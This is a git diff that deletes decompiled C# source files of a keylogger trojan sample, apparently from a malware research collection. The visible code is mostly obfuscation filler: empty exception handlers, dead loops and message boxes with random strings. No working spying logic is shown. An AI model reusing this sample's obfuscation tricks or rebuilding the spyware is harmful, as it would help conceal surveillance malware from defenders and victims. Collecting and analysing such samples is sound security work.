str1 = "EA15VFLoKc2q56"; - do - ; - while (false); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - do - ; - while (true); - str2 = "jx1vUCsSPggN4a4xgLv5cJ8Xm472Y448G3sJw5T1PmcQbM48GNYwO02LTCKdC3ve0xeGPYA17EV79ZEiRU1004L2Rtg"; - int num10 = 0; - do - { - num2 = 8360L; - str2 = "Z079ieXg7dlqUGfdaHv23683Dr7Sa0rd3b303eu29Kyv337085XuM4XTROzuTNlHkQ19gEYaZFfzDn9WK9613K3bCry3FTlNH8QLWeZZmRlil4DgOPr69nqAIBM65Q8Y"; - num1 = 68036M; - checked { ++num10; } - } - while (num10 <= 0); - if (true) - ; - int num11 = 988293; - while (num11 <= 78053) - { - num2 = 0L; - checked { ++num11; } - } - checked { ++num9; } - } - while (num9 <= 27558); - num2 = 92915L; - } - } - int num12 = (int) Interaction.MsgBox((object) "#]NYk zSw’GOA2{sFTIc)^ŽRƒ\u007FWTnŽbJ€bc\u0081uGQ=:~‘K‹8D2f:~4[\u0081GXa\u008Fh~[Ex{P\u008Fbqb\u008D‘’/I>_cYk[E€T0N‚‘;*@x"); - } - } - int num13 = (int) Interaction.MsgBox((object) "1ACsB]Pu]Œ\u0081%/*’^u#$ƒaIŠŽNTC*Fxl*DFJ‰a,"); - checked { ++num6; } - } - checked { ++num3; } - } - if (false) - { - int num14 = (int) Interaction.MsgBox((object) "teUkhyt0QEY7c6"); - } - return (object) 8314721; - } - - public object luT8n() - { - Decimal num = 620346M; - num = 96M; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); -label_5: - if (false) - { - while (false) - ; - goto label_5; - } - else - ProjectData.ClearProjectError(); - } - return (object) 90369; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/m4aaQpJhrZ9Xe326dIedu5.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/m4aaQpJhrZ9Xe326dIedu5.cs deleted file mode 100644 index a3735544..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/m4aaQpJhrZ9Xe326dIedu5.cs +++ /dev/null @@ -1,415 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.m4aaQpJhrZ9Xe326dIedu5 -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Windows.Forms; - -namespace Q -{ - [StandardModule] - public sealed class m4aaQpJhrZ9Xe326dIedu5 - { - private static object X6GrOyECS9DA4Dx() - { - string str = "h‰2V‡IGQ\u0090% ]smIA;&t$‡\u007Fb\u0090JS=q\u0090[eF‹R)ƒ\u007FlpT‰ŽX`Enb]fn]L‰,?QY+*:‹F34&)3`’†kUŽzDVƒpknƒs*B\u00908P~2kIt"); - while (true) - ; - if (true) - { - if (false) - ; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - while (false) - ; - } - int num2 = (int) Interaction.MsgBox((object) "v{yo„Uw„‰Šdmq…"); - ProjectData.ClearProjectError(); - } - if (true) - { - int num = (int) Interaction.MsgBox((object) "wE1J"); - } - } - } - int num3 = (int) Interaction.MsgBox((object) "b>lo\u007F*.@\\i.'0pO3x/1 Fd8„GLr(9FkU~R +4"); - } - } - } - return (object) 90; - } - - private static object EIvA17b69() - { - int num1 = (int) MessageBox.Show("\u008FzC`„/|D$F8^B\u007F;&ƒZ$!S\u008D`†mYERA5[7e;3^0?;†#}‹NPYL\u0081aˆ\\‰ŒcX0\u0090i!2U3-W„Lld=!v0DrLƒ)m{)cO`E6ƒ’‹k{f\u0081 'Žq>EWi59vŠDZK66N'C\u0081Ša%fz@!LsŒTN‡0=wmew51‡Jli!nX|tx\u0081{\\U6\\AY/|SoF@ZŒC‡@Z;Bi_fc6/"); - bool flag = false; - long num3 = 2730; - while (true) - ; - flag = false; - while (true) - { - int num4 = 25943035; - while (num4 <= 673) - { - flag = false; - checked { ++num4; } - } - if (false) - num3 = 4L; - flag = false; - flag = true; - flag = true; - } - flag = true; - flag = true; - string str1 = "%N?{~/D;KHv-LAoŽMXr-?q.$)‚je+xx51"; - string str2 = ":r\u008FXq0fc`Ž!,i2(\u0081c‡}qtf?5u\u008F`*.xW€xaemiZDM|ƒ+cH9\u008F.\u007FVW(h^goq"; - if (true) - ; - while (true) - { - while (false) - { - str1 = "px50AJy8P7wTiyME1yKnOFK3Mlg8wlT69lZ8H08ye8Uqvg0i5g5E4ipQOW8av4n"; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - int num5 = 80047; - do - { - checked { ++num5; } - } - while (num5 <= 98353398); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - while (false) - { - flag = false; - int num6 = 6829; - while (num6 <= 0) - { - int num7 = (int) MessageBox.Show(")Ž’SzzW~:{‹Zzf2qAl.[dh#7„*Š\u007F‘deAhl}€%’n w};[…t,wQ‘0+\u0090eF;‚‘Ž‹)SCrE9'PURqq)dxƒ5GU"); - str2 = "Zv1H2ea2hu2avbnn5T4Ge5lwdE57qy041v0aGvyypjjc5B3jg35LzSBPMck3jD4R0iH9e4X6pN49M6ac40wtogmQl2n2MRkkss8OGH6uEAKkt18CG945eGolHILDDE929O49qdJ0ONy6P8O3wOxpk597Z320Nj0w24I3MCI10jjeF"; -label_28: - if (true) - { - if (true) - ; - flag = false; - while (false) - ; - goto label_28; - } - else - checked { ++num6; } - } - } - ProjectData.ClearProjectError(); - } - } - int num8 = (int) Interaction.MsgBox((object) "69€.d3(€_2bx/%.,n\u0090‰[$\\ƒ/_wy&WJ*4‘‹Uiqs{Y&wB‘`{4rW91\u008D…|}lHqa€M!I4(My6bXMŽ5OT@:…awb'b>90B5.|@ 1Ž,$N-‰2!‘/‘~6xUG]QV0}=FR*Ž‹+d(x7M|9CO„-ŽNudŠcRL€€cK|ƒGqxeC2‘'PˆIyQL^1ŠkDZt'kN"); - } - return (object) 945; - } - - public static object g4kmn59i50v90DBtfv439PCnt8QS() - { - while (true) - { - if (false) - ; - if (false) - ; - int num1 = (int) MessageBox.Show("bA….oLR \\\u007F6VQYy?’zŒq*Cs}rHEpjbn#dH96vq=RoR„Gp`U@9‰&<\\kX6496Ž."); - while (true) - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - while (false) - { - int num2 = 47; - do - { - checked { ++num2; } - } - while (num2 <= 7240); - int num3 = 551136; - while (num3 <= 461745) - { - int num4 = 65; - while (num4 <= 8) - { - int num5 = 651585; - while (num5 <= 16) - checked { ++num5; } - int num6 = 1; - do - { - checked { ++num6; } - } - while (num6 <= 51255941); - checked { ++num4; } - } - int num7 = (int) MessageBox.Show("Hszb]:LHH|Vo5qe\u008Dy082j@h†z!`%\u008FAJ>\u0081‚H8kA9@6ggK7`5TK\\9GWƒqS1ov8\u007FBLZ,QG\u0081ˆˆLFvd*=DNm3D „|~!Y;p‰\u007FK‹SQ\\;YRv 3-u\u0081gGg*`j0S<>-z%W%Za‘)!NB3a}\u008F"); - if (false) - ; - if (true) - ; - ProjectData.ClearProjectError(); - } - } - if (false) - ; - int num9 = 1; - do - { - while (true) - ; - int num10 = 2491; - while (num10 <= 61) - { - if (false) - { - do - ; - while (true); - while (false) - { - do - ; - while (false); - } - int num11 = (int) MessageBox.Show("j6x}w8€7U’@‘ZonˆxiXŠ1zR2yLy?/Y|%_CIitUv=…d$…zWUHYnB|rkO]<\\$U„y‹Œ(Œvnƒ`O\u008D}@‘;C4(‰bO=>dD‘9[]vDv^F0A3h:%c=M6tŒRV‹RWlHxb4Obˆ)9>f…82ZP:Z4J#ƒ‘1ƒ'ƒJ^uc*>jMxwŽ„cs1~DjZ\u0090aQ?Q>,iW"); - return (object) 29950; - } - - private static object J5m5o7gpwRjH5e1() - { - int num1 = 7100; - do - { - int num2 = 7903; - do - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num3 = 9837084; - do - { - if (false) - ; - checked { ++num3; } - } - while (num3 <= 27102393); - ProjectData.ClearProjectError(); - } - checked { ++num2; } - } - while (num2 <= 87019068); - checked { ++num1; } - } - while (num1 <= 25200); - int num4 = 422; - do - ; - while (false); - string str = ".S9w*…K’Q81<ˆS"; - int num5 = 9; - do - { - while (true) - { - while (false) - str = "sW31qfjwCDd1k2A660jYy0Z85bXQ0n55rznT25uKxrxthP7T2lxfSBMC07H7TeR10ep6hw3dCu46SSe50C03JU0YGGCmA6fJxROYHiY22iRto8D9xzJ"; - } - if (false) - ; - num4 = 31150872; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (true) - { - if (false) - ; - int num6 = (int) MessageBox.Show(")\u0081ƒaU’1^Y>\u008F‹†u*y5'*$c,Œ$hnrF)†;,kB]NZ/ugz‘Pf€ŠHySc`w\u0090‡~Œy?}Uf#ƒ@c8o>&DU="); - int num7 = 984142661; - while (num7 <= 44685) - checked { ++num7; } - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - if (false) - ; - while (false) - { - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - ProjectData.ClearProjectError(); - } - if (false) - ; - num4 = 274849; - if (true) - ; - num4 = 5; - } - if (false) - { - while (true) - { - if (true) - ; - str = "A1OF4ncl1gjeitCtO5xq0wDs8e9Xr6NQ9bX8xQN28121x9Wl73lbOxn152063j96W2oktEbxUPL72g0C9t5g496X7f0wZjJi0RsLX6s1NB8VTtDO4Xjex8bLHQOv4sLC11z8Dv4hew4g4YSCwFBDhxV30Z4"; - str = "Z83KAGLMr6Av9bE6s0Rf6y7U3LaIz90BQi1QR5o16YHPki5To3SRLWU8S119b2w6cW4Fp6IpsBd3s08Ioc0Ruej1387FREatkN345tu17kIvi"; - while (false) - ; - num4 = 3; - } - int num8 = (int) MessageBox.Show(";`ƒ€iO‚*ˆef‹terˆgcIbCWDOP\u007F#!ŽŠzZQiy#\u0081tbC\u007F2Q_:7~Yqj7%3"); - int num9 = 60773; - do - { - num4 = 586; - while (false) - { - int num10 = (int) MessageBox.Show("pz0f„\u0081\u0090,ŠZ*lwMcVmTq9@K\u0090YˆgP&l}’}e(„Q!/\u0081>6@{5†;\u008FP€Pu)J\u008FD|j"); - } - do - ; - while (true); - checked { ++num9; } - } - while (num9 <= 356228292); - if (false) - { - int num11 = (int) Interaction.MsgBox((object) "vJE0Zc5yA42Do3a"); - } - } - int num12 = (int) Interaction.MsgBox((object) "i'?€iVo\u008Dl9Pt(Z4o_&fe9S!kBW:=Œ5…%| g%4uxVT5Fygz‰SR’^‚\u008D|65&g^2{yjq9XT‰S?GkJ4\u008F3!xL,1Ž‹d.5[.ˆ‡\\B|#}L†;/e‰ƒ!ce(\u008D’Qk0uue?h3<#Œ3Doeo;V1UF‹VsAq;po\u008Dt6nV~gnyjewQ-UlAGmG3x\u008F3#XyW]C`LUE@AvW€„‘!U~_pˆ~ '’J`I[5x#j\u0090$/0U)8B+€4‰}Y|H2B0gF"); - while (true) - flag = false; - } - } - } - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - flag = true; - ProjectData.ClearProjectError(); - } - num1 = 15682399L; - int num4 = 10; - do - { - checked { ++num4; } - } - while (num4 <= 80258739); - } - if (true) - ; - num1 = 9450L; - int num5 = (int) MessageBox.Show("…?SZq&I1‚2d\u0081xz†xI0‡>qu78'7en-/N_EuB>'0QF>);1>ESuG‘$NtR3\\&QG‘‹L`"); - } - } - checked { ++num2; } - } - int num6 = (int) Interaction.MsgBox((object) "nP\u008F^Au`ef/vp’SE€kHqjte)@rp_c\u008F"); - } - } - if (false) - { - int num = (int) Interaction.MsgBox((object) "Zb0DsH59Z8NK4"); - } - } - return (object) 9092; - } - - public void KrlT6WuG() - { - int num1 = 84089; - while (num1 <= 2786) - { - while (false) - ; - checked { ++num1; } - } - int num2 = 1; - bool flag1 = false; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Decimal num3 = 411M; - long num4 = 339; - int num5 = 710554242; - while (num5 <= 312288) - checked { ++num5; } - int num6 = 80; - bool flag2 = true; - if (false) - ; - int num7 = (int) MessageBox.Show("2+&ˆ2nG!rƒ+HR\\U‰)‡^#…%m4YM62Q+\u008DgŽv`ei-’q‰:Y}8QTR;6g+6gW,Q…NwW4bgˆWMo\u008Fƒ@Ž‡\u007F-j^"); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - string str = "ŠSf‰m3„‡\u0090g+}77I(d79RR,ceŒ9AfGVuˆ`sj'†>*Q+${4f\u007FŽ@v&?\u0081Š‰~‚!\u0090S„>_Z…5=W_B4F-"; -label_21: - if (false) - { - num3 = 984M; - while (false) - ; - goto label_21; - } - else - { - int num8 = 245173931; - double num9 = 9.0; - num4 = 1L; - num3 = 439M; - while (false) - { - num3 = 3786062M; - num3 = 3972436M; - num3 = 1M; - num8 = 270359; - } - long num10 = 1; - Decimal num11 = 21M; - str = "Hk7mJa8Ku5tmC287ZuAbh7XIKF368QDlq7iOSFUH3M5STK0"; - while (true) - num2 = 111433; - do - ; - while (false); - num6 = 231596649; - while (false) - { - num4 = 441L; - num9 = 5.0; - num3 = 769507M; - int num12 = 834893; - while (num12 <= 383) - { - num9 = 20.0; - num9 = 3.0; - while (true) - num10 = 10L; - num4 = 205047L; - flag1 = false; - num2 = 693; - num9 = 50446.0; - num6 = 183076024; - checked { ++num12; } - } - while (false) - { - int num13 = 40197; - while (num13 <= 0) - { - num9 = 2887173.0; - num2 = 752542; - num6 = 89; - checked { ++num13; } - } - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num11 = 82193M; - num9 = 18.0; - ProjectData.ClearProjectError(); - } - flag2 = true; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num9 = 0.0; - num11 = 1517M; - while (true) - { - if (true) - num9 = 73.0; - while (true) - { - int num14 = 1; - do - { - checked { ++num14; } - } - while (num14 <= 3); - } - num9 = 8033303.0; - } - ProjectData.ClearProjectError(); - } - int num15 = (int) Interaction.MsgBox((object) "EO€1bƒ‚dTN4Q‡9Vˆy\u0090|‰yqŒI6*7F&’fwUW'T8qR]OvŒ‘;’?/Mq2’bo^p‡{Kyj=NN`mQuOS}'^?Yx\u008D-7}'ŒG€g4y‹I`PEk†2H^Q``]s\u008D‡+SC5\\‹\u008Dm3\u008FcD&aŒYj|%"); - } - } - int num16 = (int) Interaction.MsgBox((object) "…LFm9\\`j?G‘Su4ƒcOPfv1oB€A\u0090W'ˆsm&ZI`Š\u0081\u0081qP-\\p;Ef\u007Fxh'Mh@ic6)YK<$Xt^mŠ‹KfŒt`q5ig’'Zn1rQ\u0081F%y„yI\u0081HUULg{1aMnS1oE€‰* Ž7‘p+D&†8g1'e<*L+<{!\u007F€X, pau[X.oƒ}2\u007FIwJ"); - } - } - - public void y2w5721n7tJ4f0AW48() - { - while (true) - { - while (true) - { - int num1 = 425485015; - while (num1 <= 57301337) - checked { ++num1; } - int num2 = (int) MessageBox.Show("If$U}‹R\u008FŠ0K1H{\u0081 †\\JXOv\\:OY\u0081v\u0081@D>ˆ*v1VPN008de…~‰_*0P,Kf)}&D*o-i\u007F-;=$o]VY\u0090H?]‹hLg€B63€|r0(lIqBScxWzgz9hiSw,(14mo(‚~Rk@R]‡gƒ,{nˆ<Ž20e’;f?b]L$e'‰Wo!:d7/-7G)…e2Z\u0081w‚"); - int num3 = (int) MessageBox.Show("G|\\ˆ-9X`&tŽ5-€Bb8}d‘\u008D1\u00812%X`a{, Yn%((Yˆ'‚BYr /nv,4p\u008FB;Cg*t>pO‰Œ:),c.v„XxCutoTQ€#JtTL*0p=JP\u0090F:8jŒH>i†__’;n‹l`Zg3l†;FnU_/ŒOEwE‡1]**{F6{ŒW}t8p2V0vu=DR’…\u008FV|.pW9{lG]MaUq@\u0090„\u008Dw[Œ<\u0081\u0090U?a!"); -label_20: - if (true) - { -label_9: - if (false) - { - int num4 = (int) MessageBox.Show("cŽglI=MJ0K\u008F[@%‚!tbO2|CFfR}:lŽˆ%\u0081Iˆ\\o ^rgZ6†V3C@„K*Ilo?3+\u008D%X‹\u0081IijAD!xˆL`2"); - return (object) 80778; - } - - public static void pwdjWkC49U1gWN9fbo0jm() - { - if (false) - { - if (false) - ; - } - int num1 = (int) MessageBox.Show("USA…-&*Žqq\\Œ2\u008DT†‚9\u007Ft/zGh'f:VU‹\u007F ƒ‰XVCƒL4y#}7FSo8(R1 }‰^n,l~Y~gYx…[);T‘c’€jŽ+\u008F/AfŠ!M{~5ŒJ}Ij$…I1]%E~JTv*‚123\u008DSr\u008FJ8b|9V‘&E0ƒjg‹\u008DŽA|`Š|VC2"); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num2 = 9051; - do - { - if (true) - ; - if (false) - { - int num3 = (int) Interaction.MsgBox((object) "VnXK7MI55Aqx8pX0k"); - } - checked { ++num2; } - } - while (num2 <= 875780); - if (true) - { - int num4 = (int) Interaction.MsgBox((object) "IBkMSKDS9A"); - } - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/uNO6ZA0upXN2er2Ycc3Lk4F3Q.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/uNO6ZA0upXN2er2Ycc3Lk4F3Q.cs deleted file mode 100644 index f7965ab4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/uNO6ZA0upXN2er2Ycc3Lk4F3Q.cs +++ /dev/null @@ -1,412 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.uNO6ZA0upXN2er2Ycc3Lk4F3Q -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Q -{ - internal class uNO6ZA0upXN2er2Ycc3Lk4F3Q - { - [DebuggerNonUserCode] - public uNO6ZA0upXN2er2Ycc3Lk4F3Q() - { - } - - public object ll0A193() - { - long num1 = 588971; - if (false) - ; - bool flag1 = false; - bool flag2 = true; - long num2 = 2148; - int num3 = 43923; - int num4 = 4366857; - while (num4 <= 37) - { - if (true) - ; - while (false) - { - while (false) - { - while (false) - { - int num5 = (int) MessageBox.Show("BuT[EDai0‰>H$\u007F\\yWHBU6iMŽ0x{‹]_Š;`f,4[U…bb~†gDXr†Juyi†Q|JM.i‹JˆR€-D&ŒsBhATˆ?:„N~cBF‰a‚V/r>pUH+Q[@Z;Š1k\u008DjS0GR\\\\/\\r}H'b\\>2g5Gm€?6#L‘rhWlŠHnVPZ$f5/4v]uIŒw;(C"); - } -label_35: - if (false) - { - num3 = 18; - int num6 = 1; - do - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - flag2 = false; - num3 = 34704; - if (true) - ; - while (true) - { - if (true) - ; - if (false) - ; - int num7 = (int) MessageBox.Show("_…GaP5;W!‡2B#Ž[cP>CCy|;4‹e3T7O+]2%\u008DIH|‰c_R„.h0:vKX|c;F(uj2h}!z@e{h0\u0090!1;gHrwG‹,^{JP(qf[A~\u00907r53+ax1?E’ =u9<4;\\bt}]g€Sdqa‘@FD |R&T<0‘5kz_z-n‚TR@x<;M4aEj\u0090&cA$kn<‹y6r‘Kc^1v'%F"); - if (false) - { - flag1 = true; - num3 = 7; - } - flag2 = true; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - flag1 = true; - ProjectData.ClearProjectError(); - } - } - while (false) - { - num2 = 1L; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - ProjectData.ClearProjectError(); - } - } - num1 = 5267L; - ProjectData.ClearProjectError(); - } - checked { ++num6; } - } - while (num6 <= 1); - goto label_35; - } - else - num3 = 0; - } - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - if (false) - ; - if (false) - { - int num8 = (int) Interaction.MsgBox((object) "A5W8q94"); - } - ProjectData.ClearProjectError(); - } - } - int num9 = (int) Interaction.MsgBox((object) "s-@ˆnN6ug!8$>dK\u007Fmf0Z3†5WP|x!,fNXIZ, J}\u007FZ9A|"); - checked { ++num4; } - } - return (object) 3054; - } - - private object wEa7V8weas7jw6WJ5X9K5gOY0uB() - { - int num1 = 10; - while (true) - { - while (false) - { - while (false) - { - do - ; - while (true); - num1 = 9; - while (false) - { - while (true) - { - int num2 = 1885303; - while (num2 <= 564151) - { - int num3 = 744; - do - { - do - ; - while (true); - checked { ++num3; } - } - while (num3 <= 534099); - checked { ++num2; } - } - num1 = (int) byte.MaxValue; - num1 = 6471400; - } - num1 = 33004540; - } - while (true) - { - if (true) - { - while (true) - ; - num1 = 88906121; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (false) - { - int num4 = (int) MessageBox.Show("‰Qu5u}Š/t!~^.4O)ŽO].-b|8Xw9s{b4',x)\u008DN"); - } - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - while (false) - { - if (true) - ; - } - if (false) - ; - if (false) - { - while (true) - ; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - ProjectData.ClearProjectError(); - } - } - ProjectData.ClearProjectError(); - } - if (false) - ; - while (true) - { - int num5 = (int) MessageBox.Show("R\u0090W@${\u008DNf<&]@u’';ƒkoFuNrZ7KYx,ea:y}v?;B‰€ICf8oW wEuwŽ6+;(a\\daˆ€/S\u008F&\u008F4?x au‚\u0090QzY}rKtRJ\u0081e#mbmpqqG‹[43cE\u0090+Y?[~,i$€?‡&†Ž/s:)2W,y†Q~u‹;eV<@Z[l_1{ŠŠY\u008FL‹‹9g‡s@"); - } - int num9 = (int) Interaction.MsgBox((object) "Q€ƒEf€o(3MQJg^KAcaQ2;‘0LŽXd.$[E/(‚mjGŒC+‚v,"); - } - } - return (object) 38; - } - - public object YWG776IM6bY4p() - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - do - ; - while (true); - if (true) - { - int num = (int) Interaction.MsgBox((object) "uHvDd8"); - } - ProjectData.ClearProjectError(); - } - if (true) - { - int num1 = (int) Interaction.MsgBox((object) "th17ciJzL7"); - } - return (object) 24; - } - - public void W4vbijj() - { - int num1 = (int) MessageBox.Show("*;Q`:KbooŒ:\u0090P}!a \\_kŒ:\\^N9f]Kp%?]#JiŠ6hs‰q./k`-bYgc(jkAˆ"); - } - if (true) - ; - do - ; - while (false); - } - string str = "‡€w76†~Jj{}5NBf B06@_\u0090IŒVx5V1\u008D‚q.[ye0lR\u0090L\\D ktS,,@{€)1‰V}sPpH9p‹+'†[ ƒhq8‡mHAtuvI$m'„$I‚.EŒ!@$Cf(_m/‰,a…&Šzˆ„nD0‰`#&b![AB!I'=2\u008107†@\u008Fx†XdQ!/:426@\u0081†;b-6f[J,.)‡Zh†(jq‘MGK#"); - } - - public void o2D0J2ATr49gNf5() - { - int num1 = (int) MessageBox.Show("@HˆwZ=w|Œ\u0081\u008D„ƒ!\u008FNDmhcP=%?=VZ;%Y]"); - string str1 = "^?ST;$pDhZ$u\\vRC)||l6sM"; - string str2 = "\u0090L:UySFrn\u0090\\Y8)1]b‹^‹H:’7(h#zCAe-€eCŒJ\u0081\u0090,-gƒ)G%6;Lh3„LPVvM#L0P_OLKOlex73tŽQ~sI‰‚#RzMn-ssP.`_FU\u007Fo`8Wp‹LcV5URˆ\u008DduLW4Hqh2t>jn[…8‰i‚D89n}x~K3(1,.&NW8&=0+=]g3y8E"; - int num2 = 0; - int num3 = 282; - do - { - str2 = "nXONofMh6NhL8M70uX8HQlWI0ra2W1pv3fpcswtC79EpSv85V7X1j6"; - checked { ++num3; } - } - while (num3 <= 3410); - int num4 = (int) MessageBox.Show("\u00907x v/~‘‚|x(a€y‚m_\u008D2‘\u008D/#%C.EˆuXE)#Ap(,l94o{)‰V\u008F‘t\u008F-#`Tt#'tŽR X),CR‘]_)ya†t\u0090A2&-aG0c‹hTxhB>hG198nenxVXQQj5_0~VRƒ!gL+ƒˆ0V\u0081mH;ATROl\\AnV@i)ˆq‹u)DŒ2‚M"); - str2 = "Y1DTME39EZksK86efJ9598zA7yVVb8JM1nJJpKrFW9P7L7XJ45O5dpqs7jbIZrjoWa574bJNG2y9PjFG8tJ47zhT8ebI5"; - double num5 = 91940.0; - bool flag = false; - flag = true; - num2 = 86; - string str3 = "…GW3wM44/ƒ?l9a TO\u008D:‰#?g3|„Œ\u008DDvpŒyf€DIt{‘Y\u0081_#s‡‹HC5:g[HerCJ…T2:}-asR\u008D2/&8QŠ]P'"; - string str4 = "?$RU’T\u009053.!5c~5k3AˆSWcmcXAŒ%.'I*+>Lhm([#WU Z†€d~U€oŒ†GnI\u0081\u008FqR$0%'k*X`|Y9MO .m)eTP-bAJO6vczqJ(’GPŒ‚{H$THV_WG_oxJ<‰`wo<‡t\u0090y;y\u0081DPlqs:|,L*0‹‡ƒrO#F!G.&(yk4ˆ[upz|{f5d^UYs\u007Fof#.nJ>Y/uT\\1s(h(+9„,}…3.ˆ$ pG8%#Zc~3q{oAXŒZ‚WE}\\l9YlMr…t‚ xE={{\\OXi0=UIB\\cfƒJDic9V#-rKi{q)Cp#J#o1\u0090R’nm>7ƒ60|+!I]I4+ywm|$\u0081\u0081Q31k>2_‰rL…jˆ^7"); - int num5 = 0; - do - { - num2 = 431985; - int num6 = 822578609; - while (num6 <= 0) - { - do - ; - while (true); - flag = true; - num1 = 82834190; - checked { ++num6; } - } - checked { ++num5; } - } - while (num5 <= 89); - if (false) - { - int num7 = (int) Interaction.MsgBox((object) "dlf3YaY4dh"); - } - } - } - int num8 = (int) Interaction.MsgBox((object) ";\u0090%5p9ˆEZRD\\4[~k‡‰Bc7mbBT6#PaA1L*Y5Ow#\u0090fr’~\\<ŠzVjgF'vdX^F(;A,e9mi_u>PYƒ‹n„8\u0081&%]O_y\u008DŽ)hX!i(u\u0090tEeLe\u0081fJ$89.V.'r@p@\u008F[\u007FtFk>c!'tgGw…6I>~<7R3KG_\u007FWŽ`xsŒ{xUˆc?tF=eCBc…JcŠqTTS(]HSLz~"); - } - } - } - int num9 = (int) Interaction.MsgBox((object) "iŒTJ\\-pXKh-I…ed\u008Ft4~wC\u007FaZ4JEn\u0081y\u0081G*tLˆƒ‡\u008Fe"); - } - - public static object Ooabtq8yE0p7DRVFR9Q2() - { - bool flag1 = false; - double num1 = 1.0; - if (false) - ; - num1 = 0.0; - num1 = 5756873.0; - num1 = 28.0; - string str1 = "G$<#Ž~'S#$g3C7‚L=K†sF5†Riz`‡51R\\ICujSd.ŒaS^%y0’[;^w;\u0081i!21|M4>3>…d+|’U"; - double num2 = 1.0; - bool flag2 = true; - flag2 = true; - while (true) - { - if (false) - ; - flag2 = false; - } - string str2 = "Hj’.ƒF`d#Z,=Oe>Q‚;{e]1C5o/)3]Œ…FRŽ&@S.527}†s-0m#\u008DYuNn„D7G}Rs63†1/=}n%F#dscŽTVs:;ao1r|mel}wS':ZN-0? R76z*cŒ)ml…D2„4VF#T+ˆG11[‘34’yUHbW2B(‡&/‚c‹’‹SA5%$')n4+*&$>,Px)†7\\tmq…MQ\u008FE;DN19(o\u0090.ŽqKmNL';#h\u008Dr)"); - int num5 = (int) MessageBox.Show(">v„N\u00904&8X\u008Dx@’Ž‚v’@U+*6Œw^2g*9lXsd'X~„’HcHu1qFO+n(0RNY5'|-‚}_Ž"); - while (true) - { - while (false) - { - str1 = "w14GFTDFutybpcpu5OWvKEybi5OPuk15hR7PNceqJe01rGF07e8SIm93Ypo5xF9Y4vk2YI2O6I2c09yGK4d8Dno26a9L357h7JsP2T1jMAaaIfDKcuK9"; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag1 = false; - flag1 = false; - if (true) - str2 = "Z8o89Rxn8feVZigL5Bgv21xFgp7z84Oq793QsEzH216dEPx31vIgUFfwk821P6LN9elJ40ixj1YnfovU6P4DK3U89Sxzv350EWBAW72Osn4vHZyRyEv80pQEh13V4u0dfAAR7q75BjE1ezBU5Uz5DF600v03cb1v830GTA5"; - flag2 = false; - ProjectData.ClearProjectError(); - } - } - flag2 = true; - flag2 = true; - 